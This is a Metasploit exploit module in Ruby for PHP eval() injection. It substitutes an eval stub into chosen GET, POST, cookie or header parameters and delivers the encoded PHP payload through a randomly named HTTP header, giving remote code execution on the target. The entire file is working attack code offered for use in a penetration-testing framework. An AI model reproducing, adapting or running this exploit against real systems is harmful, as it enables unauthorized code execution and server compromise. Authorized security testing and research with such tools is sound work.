require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Arachni Generic PHP Code eval() Exploit',
			'Description'    => %q{
					This module allows complex HTTP requests to be crafted in order to
				allow exploitation of PHP eval() vulnerabilities in Unix-like platforms.

				Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
				i.e. where the payload should go.

				Supported vectors: GET, POST, COOKIE, HEADER.
				(Mainly for use with the Arachni plug-in.)
			},
			'Author'         => [
				'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # extended it to work with GET/POST/COOKIE/HEADER
				'egypt' # original exploit: exploits/unix/webapp/php_eval.rb
			],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['URL', 'http://github.com/Zapotek/arachni'],
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
					# max header length for Apache,
					# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
					'Space'       => 8190,
					# max url length for some old versions of apache according to
					# http://www.boutell.com/newfaq/misc/urllength.html
					#'Space'       => 4000,
					'DisableNops' => true,
					'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Keys'        => ['php'],
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget' => 0
			))

		register_options( [
			OptString.new( 'GET',     [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
			OptString.new( 'POST',    [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
			OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
			OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ),
			OptString.new( 'PATH',    [ true,  "The path to the vulnerable script.", "/cgi-bin/generic" ] ),
		], self.class )

	end

	def check
		uri = datastore['PATH'] ? datastore['PATH'].dup : ""

		if( uri && ! uri.empty? )

			uri.gsub!( /\?.*/, "" )

			print_status( "Checking uri #{uri}" )

			response = send_request_raw({ 'uri' => uri})
			if response.code == 200
				return Exploit::CheckCode::Detected
			end

			print_error( "Server responded with #{response.code}" )
			return Exploit::CheckCode::Safe
		else
			return Exploit::CheckCode::Unknown
		end

	end

	def exploit

		headername = "X-" + Rex::Text.rand_text_alpha_upper( rand( 10 ) + 10 )

		cookies = _sub_injection( datastore['COOKIES'].to_s, headername, ';' )
		headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, headername, '::' ), '::' )
		post    = _str_to_hash( _sub_injection( datastore['POST'].to_s, headername ) )
		get     = _str_to_hash( _sub_injection( datastore['GET'].to_s, headername ) )
		uri     = datastore['PATH'].to_s
		method  = post.empty? ? 'GET' : 'POST'

		if( post.empty? && get.empty? && headers.empty? && cookies.empty? )
			print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' )
			# return
		end

		headers[headername]   = payload.encoded
		headers['Connection'] = 'close'

		print_status( "Sending HTTP request for #{uri}" )
		res = send_request_cgi( {
			'global' => true,
			'uri'    => uri,
			'method' => method,
			'vars_get'  => get,
			'vars_post' => post,
			'headers'   => headers,
			'cookie'    => cookies
		}, 0.01 )

		handler
	end

	#
	# Converts a URI styled query string into a key=>value hash
	#
	def _str_to_hash( str, sep = '&' )
		hash = {}
		str.split( sep ).map do |part|
			splits = part.split( '=', 2 )
			next if !splits[0] || !splits[1]
			hash[splits[0]] = splits[1]
		end

		return hash
	end

	#
	# Substitutes 'XXinjectionXX' in values of a URI styled query string with the
	# payload
	#
	def _sub_injection( str, headername, sep = '&' )

		stub = "eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"

		stub = URI.encode( stub, ';' ) if sep != '&'

		return str.to_s.split( sep ).map do |var|
			k,v = var.split( '=', 2 )
			next if !v || !k
			k + "=" + v.gsub( 'XXinjectionXX', stub )
		end.reject do |i| !i end.join( sep )
	end

end
